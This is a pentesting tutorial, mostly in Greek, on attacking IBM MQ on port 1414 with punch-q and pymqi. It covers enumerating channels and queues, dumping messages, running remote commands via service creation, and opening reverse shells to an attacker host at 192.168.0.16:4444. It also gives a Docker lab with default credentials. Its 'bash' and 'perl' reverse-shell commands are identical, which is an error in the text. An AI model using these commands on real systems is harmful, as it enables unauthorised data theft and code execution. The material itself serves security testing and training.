hacktricks/network-services-pentesting/1414-pentesting-ibmmq.md

345 lines
23 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 1414 - Pentesting IBM MQ
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Basic information
IBM MQ είναι μια τεχνολογία της IBM για τη διαχείριση ουρών μηνυμάτων. Όπως άλλες τεχνολογίες **message broker**, είναι αφιερωμένη στη λήψη, αποθήκευση, επεξεργασία και ταξινόμηση πληροφοριών μεταξύ παραγωγών και καταναλωτών.
Από προεπιλογή, **εκθέτει την TCP θύρα 1414 του IBM MQ**.
Μερικές φορές, το HTTP REST API μπορεί να εκτεθεί στην θύρα **9443**.
Οι μετρήσεις (Prometheus) μπορούν επίσης να προσπελαστούν από την TCP θύρα **9157**.
Η TCP θύρα 1414 του IBM MQ μπορεί να χρησιμοποιηθεί για να χειριστεί μηνύματα, ουρές, κανάλια, ... αλλά **και για να ελέγξει την instance**.
Η IBM παρέχει εκτενή τεχνική τεκμηρίωση διαθέσιμη στο [https://www.ibm.com/docs/en/ibm-mq](https://www.ibm.com/docs/en/ibm-mq).
## Tools
Ένα προτεινόμενο εργαλείο για εύκολη εκμετάλλευση είναι το **[punch-q](https://github.com/sensepost/punch-q)**, με χρήση Docker. Το εργαλείο χρησιμοποιεί ενεργά τη βιβλιοθήκη Python `pymqi`.
Για μια πιο χειροκίνητη προσέγγιση, χρησιμοποιήστε τη βιβλιοθήκη Python **[pymqi](https://github.com/dsuch/pymqi)**. [Εξαρτήσεις IBM MQ](https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc) είναι απαραίτητες.
### Installing pymqi
**Οι εξαρτήσεις IBM MQ** πρέπει να εγκατασταθούν και να φορτωθούν:
1. Δημιουργήστε έναν λογαριασμό (IBMid) στο [https://login.ibm.com/](https://login.ibm.com/).
2. Κατεβάστε τις βιβλιοθήκες IBM MQ από [https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc](https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc). Για Linux x86_64 είναι **9.0.0.4-IBM-MQC-LinuxX64.tar.gz**.
3. Αποσυμπιέστε (`tar xvzf 9.0.0.4-IBM-MQC-LinuxX64.tar.gz`).
4. Εκτελέστε `sudo ./mqlicense.sh` για να αποδεχθείτε τους όρους άδειας.
>Αν βρίσκεστε σε Kali Linux, τροποποιήστε το αρχείο `mqlicense.sh`: αφαιρέστε/σχολιάστε τις παρακάτω γραμμές (μεταξύ γραμμών 105-110):
>
>```bash
>if [ ${BUILD_PLATFORM} != `uname`_`uname ${UNAME_FLAG}` ]
> then
> echo "ERROR: This package is incompatible with this system"
> echo " This package was built for ${BUILD_PLATFORM}"
> exit 1
>fi
>```
5. Εγκαταστήστε αυτά τα πακέτα:
```bash
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesRuntime-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesClient-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesSDK-9.0.0-4.x86_64.rpm
```
6. Στη συνέχεια, προσθέστε προσωρινά τα `.so` αρχεία στο LD: `export LD_LIBRARY_PATH=/opt/mqm/lib64`, **πριν** εκτελέσετε άλλα εργαλεία που χρησιμοποιούν αυτές τις εξαρτήσεις.
Στη συνέχεια, μπορείτε να κλωνοποιήσετε το έργο [**pymqi**](https://github.com/dsuch/pymqi): περιέχει ενδιαφέροντα αποσπάσματα κώδικα, σταθερές, ... Ή μπορείτε να εγκαταστήσετε απευθείας τη βιβλιοθήκη με: `pip install pymqi`.
### Χρήση punch-q
#### Με Docker
Απλά χρησιμοποιήστε: `sudo docker run --rm -ti leonjza/punch-q`.
#### Χωρίς Docker
Κλωνοποιήστε το έργο [**punch-q**](https://github.com/sensepost/punch-q) και στη συνέχεια ακολουθήστε το readme για την εγκατάσταση (`pip install -r requirements.txt && python3 setup.py install`).
Μετά, μπορεί να χρησιμοποιηθεί με την εντολή `punch-q`.
## Αριθμητική
Μπορείτε να προσπαθήσετε να αριθμήσετε το **όνομα διαχειριστή ουράς, τους χρήστες, τα κανάλια και τις ουρές** με **punch-q** ή **pymqi**.
### Διαχειριστής Ουράς
Μερικές φορές, δεν υπάρχει προστασία κατά της απόκτησης του ονόματος διαχειριστή ουράς:
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 discover name
Queue Manager name: MYQUEUEMGR
```
### Channels
**punch-q** χρησιμοποιεί μια εσωτερική (τροποποιήσιμη) λίστα λέξεων για να βρει υπάρχοντες καναλιούς. Παράδειγμα χρήσης:
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd discover channels
"DEV.ADMIN.SVRCONN" exists and was authorised.
"SYSTEM.AUTO.SVRCONN" might exist, but user was not authorised.
"SYSTEM.DEF.SVRCONN" might exist, but user was not authorised.
```
Συμβαίνει μερικές φορές ορισμένες περιπτώσεις IBM MQ να δέχονται **μη αυθεντικοποιημένα** αιτήματα MQ, οπότε δεν χρειάζεται `--username / --password`. Φυσικά, τα δικαιώματα πρόσβασης μπορεί επίσης να διαφέρουν.
Μόλις αποκτήσουμε ένα όνομα καναλιού (εδώ: `DEV.ADMIN.SVRCONN`), μπορούμε να απαριθμήσουμε όλα τα άλλα κανάλια.
Η απαρίθμηση μπορεί βασικά να γίνει με αυτό το απόσπασμα κώδικα `code/examples/dis_channels.py` από **pymqi**:
```python
import logging
import pymqi
logging.basicConfig(level=logging.INFO)
queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'
prefix = '*'
args = {pymqi.CMQCFC.MQCACH_CHANNEL_NAME: prefix}
qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)
try:
response = pcf.MQCMD_INQUIRE_CHANNEL(args)
except pymqi.MQMIError as e:
if e.comp == pymqi.CMQC.MQCC_FAILED and e.reason == pymqi.CMQC.MQRC_UNKNOWN_OBJECT_NAME:
logging.info('No channels matched prefix `%s`' % prefix)
else:
raise
else:
for channel_info in response:
channel_name = channel_info[pymqi.CMQCFC.MQCACH_CHANNEL_NAME]
logging.info('Found channel `%s`' % channel_name)
qmgr.disconnect()
```
... Αλλά το **punch-q** ενσωματώνει επίσης αυτό το μέρος (με περισσότερες πληροφορίες!).
Μπορεί να εκκινήσει με:
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show channels -p '*'
Showing channels with prefix: "*"...
| Name | Type | MCA UID | Conn Name | Xmit Queue | Description | SSL Cipher |
|----------------------|-------------------|---------|-----------|------------|-----------------|------------|
| DEV.ADMIN.SVRCONN | Server-connection | | | | | |
| DEV.APP.SVRCONN | Server-connection | app | | | | |
| SYSTEM.AUTO.RECEIVER | Receiver | | | | Auto-defined by | |
| SYSTEM.AUTO.SVRCONN | Server-connection | | | | Auto-defined by | |
| SYSTEM.DEF.AMQP | AMQP | | | | | |
| SYSTEM.DEF.CLUSRCVR | Cluster-receiver | | | | | |
| SYSTEM.DEF.CLUSSDR | Cluster-sender | | | | | |
| SYSTEM.DEF.RECEIVER | Receiver | | | | | |
| SYSTEM.DEF.REQUESTER | Requester | | | | | |
| SYSTEM.DEF.SENDER | Sender | | | | | |
| SYSTEM.DEF.SERVER | Server | | | | | |
| SYSTEM.DEF.SVRCONN | Server-connection | | | | | |
| SYSTEM.DEF.CLNTCONN | Client-connection | | | | | |
```
### Queues
Υπάρχει ένα απόσπασμα κώδικα με **pymqi** (`dis_queues.py`) αλλά το **punch-q** επιτρέπει την ανάκτηση περισσότερων πληροφοριών σχετικά με τις ουρές:
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show queues -p '*'
Showing queues with prefix: "*"...
| Created | Name | Type | Usage | Depth | Rmt. QM | Rmt. Qu | Description |
| | | | | | GR Name | eue Nam | |
| | | | | | | e | |
|-----------|----------------------|--------|---------|--------|---------|---------|-----------------------------------|
| 2023-10-1 | DEV.DEAD.LETTER.QUEU | Local | Normal | 0 | | | |
| 0 18.35.1 | E | | | | | | |
| 9 | | | | | | | |
| 2023-10-1 | DEV.QUEUE.1 | Local | Normal | 0 | | | |
| 0 18.35.1 | | | | | | | |
| 9 | | | | | | | |
| 2023-10-1 | DEV.QUEUE.2 | Local | Normal | 0 | | | |
| 0 18.35.1 | | | | | | | |
| 9 | | | | | | | |
| 2023-10-1 | DEV.QUEUE.3 | Local | Normal | 0 | | | |
| 0 18.35.1 | | | | | | | |
| 9 | | | | | | | |
# Truncated
```
## Exploit
### Dump messages
Μπορείτε να στοχεύσετε ουρές/κανάλια για να κατασκοπεύσετε/εξάγετε μηνύματα από αυτά (μη καταστροφική λειτουργία). *Examples:*
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages sniff
```
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages dump
```
**Μη διστάσετε να επαναλάβετε όλες τις αναγνωρισμένες ουρές.**
### Εκτέλεση κώδικα
> Ορισμένες λεπτομέρειες πριν συνεχίσουμε: Το IBM MQ μπορεί να ελεγχθεί μέσω πολλών τρόπων: MQSC, PCF, Control Command. Ορισμένες γενικές λίστες μπορούν να βρεθούν στην [τεκμηρίωση του IBM MQ](https://www.ibm.com/docs/en/ibm-mq/9.2?topic=reference-command-sets-comparison).
> [**PCF**](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=commands-introduction-mq-programmable-command-formats) (***Προγραμματιζόμενες Μορφές Εντολών***) είναι αυτό που επικεντρωνόμαστε για να αλληλεπιδράσουμε απομακρυσμένα με την περίπτωση. **punch-q** και επιπλέον **pymqi** βασίζονται σε αλληλεπιδράσεις PCF.
>
> Μπορείτε να βρείτε μια λίστα με τις εντολές PCF:
> * [Από την τεκμηρίωση PCF](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=reference-definitions-programmable-command-formats), και
> * [από σταθερές](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=constants-mqcmd-command-codes).
>
> Μια ενδιαφέρουσα εντολή είναι η `MQCMD_CREATE_SERVICE` και η τεκμηρίωσή της είναι διαθέσιμη [εδώ](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-change-copy-create-service-multiplatforms). Δέχεται ως επιχείρημα μια `StartCommand` που δείχνει σε ένα τοπικό πρόγραμμα στην περίπτωση (παράδειγμα: `/bin/sh`).
>
> Υπάρχει επίσης μια προειδοποίηση για την εντολή στα έγγραφα: *"Προσοχή: Αυτή η εντολή επιτρέπει σε έναν χρήστη να εκτελέσει μια αυθαίρετη εντολή με εξουσία mqm. Εάν παραχωρηθούν δικαιώματα για τη χρήση αυτής της εντολής, ένας κακόβουλος ή απρόσεκτος χρήστης θα μπορούσε να ορίσει μια υπηρεσία που θα βλάψει τα συστήματα ή τα δεδομένα σας, για παράδειγμα, διαγράφοντας απαραίτητα αρχεία."*
>
> *Σημείωση: πάντα σύμφωνα με την τεκμηρίωση του IBM MQ (Administration Reference), υπάρχει επίσης ένα HTTP endpoint στο `/admin/action/qmgr/{qmgrName}/mqsc` για να εκτελέσετε την αντίστοιχη εντολή MQSC για τη δημιουργία υπηρεσίας (`DEFINE SERVICE`). Αυτό το θέμα δεν έχει καλυφθεί ακόμα εδώ.*
Η δημιουργία / διαγραφή υπηρεσίας με PCF για απομακρυσμένη εκτέλεση προγράμματος μπορεί να γίνει με **punch-q**:
**Παράδειγμα 1**
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/sh" --args "-c id"
```
> Στα αρχεία καταγραφής του IBM MQ, μπορείτε να διαβάσετε ότι η εντολή εκτελέστηκε επιτυχώς:
>
> ```bash
> 2023-10-10T19:13:01.713Z AMQ5030I: Η εντολή '808544aa7fc94c48' έχει ξεκινήσει. ProcessId(618). [ArithInsert1(618), CommentInsert1(808544aa7fc94c48)]
> ```
Μπορείτε επίσης να απαριθμήσετε τα υπάρχοντα προγράμματα στη μηχανή (εδώ `/bin/doesnotexist` ... δεν υπάρχει):
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/doesnotexist" --arg
s "whatever"
Command: /bin/doesnotexist
Arguments: -c id
Service Name: 6e3ef5af652b4436
Creating service...
Starting service...
The program '/bin/doesnotexist' is not available on the remote system.
Giving the service 0 second(s) to live...
Cleaning up service...
Done
```
**Να είστε προσεκτικοί ότι η εκκίνηση του προγράμματος είναι ασύγχρονη. Έτσι χρειάζεστε ένα δεύτερο στοιχείο για να εκμεταλλευτείτε την ευπάθεια** ***(listener for reverse shell, file creation on different service, data exfiltration through network ...)***
**Παράδειγμα 2**
Για εύκολη reverse shell, **punch-q** προτείνει επίσης δύο payloads reverse shell:
* Ένα με bash
* Ένα με perl
*Φυσικά μπορείτε να δημιουργήσετε ένα προσαρμοσμένο με την εντολή `execute`.*
Για bash:
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444
```
Για perl:
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444
```
### Custom PCF
Μπορείτε να ερευνήσετε την τεκμηρίωση του IBM MQ και να χρησιμοποιήσετε απευθείας τη βιβλιοθήκη **pymqi** python για να δοκιμάσετε συγκεκριμένη εντολή PCF που δεν έχει υλοποιηθεί στο **punch-q**.
**Example:**
```python
import pymqi
queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'
qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)
try:
# Replace here with your custom PCF args and command
# The constants can be found in pymqi/code/pymqi/CMQCFC.py
args = {pymqi.CMQCFC.xxxxx: "value"}
response = pcf.MQCMD_CUSTOM_COMMAND(args)
except pymqi.MQMIError as e:
print("Error")
else:
# Process response
qmgr.disconnect()
```
Αν δεν μπορείτε να βρείτε τα ονόματα σταθερών, μπορείτε να ανατρέξετε στην [τεκμηρίωση IBM MQ](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=constants-mqca-character-attribute-selectors).
> *Παράδειγμα για [`MQCMD_REFRESH_CLUSTER`](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-mqcmd-refresh-cluster-refresh-cluster) (Δεκαδικό = 73). Χρειάζεται την παράμετρο `MQCA_CLUSTER_NAME` (Δεκαδικό = 2029) η οποία μπορεί να είναι `*` (Έγγραφο: ):*
>
> ```python
> import pymqi
>
> queue_manager = 'MYQUEUEMGR'
> channel = 'DEV.ADMIN.SVRCONN'
> host = '172.17.0.2'
> port = '1414'
> conn_info = '%s(%s)' % (host, port)
> user = 'admin'
> password = 'passw0rd'
>
> qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
> pcf = pymqi.PCFExecute(qmgr)
>
> try:
> args = {2029: "*"}
> response = pcf.MQCMD_REFRESH_CLUSTER(args)
> except pymqi.MQMIError as e:
> print("Error")
> else:
> print(response)
>
> qmgr.disconnect()
> ```
## Περιβάλλον δοκιμών
Αν θέλετε να δοκιμάσετε τη συμπεριφορά και τις εκμεταλλεύσεις του IBM MQ, μπορείτε να ρυθμίσετε ένα τοπικό περιβάλλον βασισμένο σε Docker:
1. Έχοντας έναν λογαριασμό στο ibm.com και cloud.ibm.com.
2. Δημιουργήστε ένα κοντέινερ IBM MQ με:
```bash
sudo docker pull icr.io/ibm-messaging/mq:9.3.2.0-r2
sudo docker run -e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR -p1414:1414 -p9157:9157 -p9443:9443 --name testing-ibmmq icr.io/ibm-messaging/mq:9.3.2.0-r2
```
Κατά προεπιλογή, η αυθεντικοποίηση είναι ενεργοποιημένη, το όνομα χρήστη είναι `admin` και ο κωδικός πρόσβασης είναι `passw0rd` (Μεταβλητή περιβάλλοντος `MQ_ADMIN_PASSWORD`). Εδώ, το όνομα του διαχειριστή ουρών έχει οριστεί σε `MYQUEUEMGR` (μεταβλητή `MQ_QMGR_NAME`).
Πρέπει να έχετε το IBM MQ σε λειτουργία με τις θύρες του εκτεθειμένες:
```bash
sudo docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
58ead165e2fd icr.io/ibm-messaging/mq:9.3.2.0-r2 "runmqdevserver" 3 seconds ago Up 3 seconds 0.0.0.0:1414->1414/tcp, 0.0.0.0:9157->9157/tcp, 0.0.0.0:9443->9443/tcp testing-ibmmq
```
> Οι παλιές εκδόσεις των εικόνων docker του IBM MQ βρίσκονται στη διεύθυνση: https://hub.docker.com/r/ibmcom/mq/.
## Αναφορές
* [mgeeky's gist - "Πρακτικές σημειώσεις για την Διείσδυση στο IBM MQ"](https://gist.github.com/mgeeky/2efcd86c62f0fb3f463638911a3e89ec)
* [MQ Jumping - DEFCON 15](https://defcon.org/images/defcon-15/dc15-presentations/dc-15-ruks.pdf)
* [Τεκμηρίωση IBM MQ](https://www.ibm.com/docs/en/ibm-mq)